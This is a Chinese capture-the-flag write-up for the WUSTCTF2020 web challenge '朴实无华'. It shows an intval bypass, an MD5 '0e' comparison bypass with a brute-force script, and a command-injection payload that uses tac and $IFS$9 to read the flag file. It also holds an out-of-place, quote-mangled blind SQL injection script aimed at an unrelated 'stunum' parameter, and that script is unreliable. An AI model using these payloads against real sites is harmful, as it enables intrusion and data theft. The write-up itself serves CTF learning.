CTF | 8分钟
WUSTCTF2020 朴实无华
四月 10, 2021
WEB 代码审计 绕过

打开靶机,朴实无华

找线索

左找找右找找,发现robots.txt里有东西

进入/fAke_f1agggg.php是假的(早就预料到了)

在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个

有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的

进入/fl4g.php

我已经开始笑了

xxxxxxxxxx import time​import requests​Success_message = “Hi"​​def database_name():    db_name = ’’    for i in range(1, 10):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + “?stunum=(ascii(substr(database(), %d, 1)) > %d)” % (i, mid)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        db_name += chr(mid)        print(“数据库名: " + db_name)    return db_name​​def table_name():    name = ’’    for j in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(group_concat(table_name))from(’ \                            ‘information_schema.tables)where(table_schema=database())), %d, 1)) > %d)’ % (j, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        name += chr(mid)        print(“表名: " + name)    table_list = name.split(”,”)    for tab_name in table_list:        column_name(tab_name)​​def column_name(tab_name):    name = ’’    for j in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(group_concat(column_name))from(’ \                            ‘information_schema.columns)where(table_name="%s”)and(table_schema=database())), %d, ’ \                            ‘1)) > %d)’ % (tab_name, j, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        name += chr(mid)        print(("%s表的字段名: " + name) % tab_name)    column_list = name.split(",")    for col_name in column_list:        get_data(tab_name, col_name)​​def get_data(tab_name, col_name):    data = ’’    for i in range(1, 100):        begin = 32        end = 126        mid = (begin + end) // 2        while begin < end:            payload = url + ‘?stunum=(ascii(substr((select(%s)from(%s)),%d,1)) > %d)’ % (                col_name, tab_name, i, mid)            time.sleep(0.2)            res = requests.get(payload)            if Success_message in res.text:                begin = mid + 1            else:                end = mid            mid = (begin + end) // 2        if mid == 32:            print()            break        data += chr(mid)        print(("%s表的%s字段数据: " + data) % (tab_name, col_name))​​if name == ‘main’:    url = input(“请输入url:”)    database_name()    table_name()python

就一点点读呗,不会的函数百度

绕过分为三个部分并且都是GET传值

intval函数绕过

要变量整数值小于2020,又要变量加1大于2021,一看就知道不是正常数。百度intval函数,在菜鸟教程中有下面的示例:

其中有用信息是

php
1echo intval(1e10);                    // 1410065408
2echo intval('1e10');                  // 1

这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。

我们就拿2e4用吧,传入'2e4'它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过了。

payload:

php
1?num='2e4'

失败的原因可能是,后台已经把num当字符串处理了,那我们把单引号去掉再传入

payload:

php
1?num=2e4

第一层绕过成功

MD5绕过

一个字符串MD5加密后,前后一样,php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e开头的,MD5加密后也是0e开头的,这样子,就能保证加密前后的值是相等==的了

偷的脚本

python
 1#!python2
 2import hashlib
 3import re
 4
 5
 6def MD5(data):
 7    return hashlib.md5(data.encode('utf-8')).hexdigest()
 8
 9
10def main():
11    a = 100000000
12    while True:
13        data = '0e' + str(a)
14        data_md5 = MD5(data)
15        a = a + 1
16        if re.match('^0e[0-9]{30}', data_md5):
17            print(data)
18            print(data_md5)
19            break
20        if a % 1000000 == 0:
21            print(a)
22
23
24if __name__ == '__main__':
25    main()

跑了一会,出了俩可以用的字符串,当然用短的

payload:

php
1?num=2e4&md5=0e215962017

这就是有钱人的生活吗?

替换绕过

观察代码可知,不能有空格,有cat会被替换,而且这个变量可以被当作命令执行

于是我直接试了一下get_flag=Cat(/flag),果然失败,那我们先看一下目录吧

payload:

php
1?num=2e4&md5=0e215962017&get_flag=ls

看来要读取那个很长的ffffflllllllaaaaaag

这里注意这个替换函数str_ireplace,它不区分大小写替换,所以这里不能大小写绕过,下面的图罗列了代替cat的关键词:

经过测试发现more、head、tac、tail、nl、od、sort、uniq、file -f在我win10环境下都可以出flag,但是od二进制比较麻烦,file -f由于空格过滤还要绕过,所以不建议使用

这里我们使用tac,而且这里需要使用$IFS$9代替空格详情戳这里

payload:

php
1?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

出flag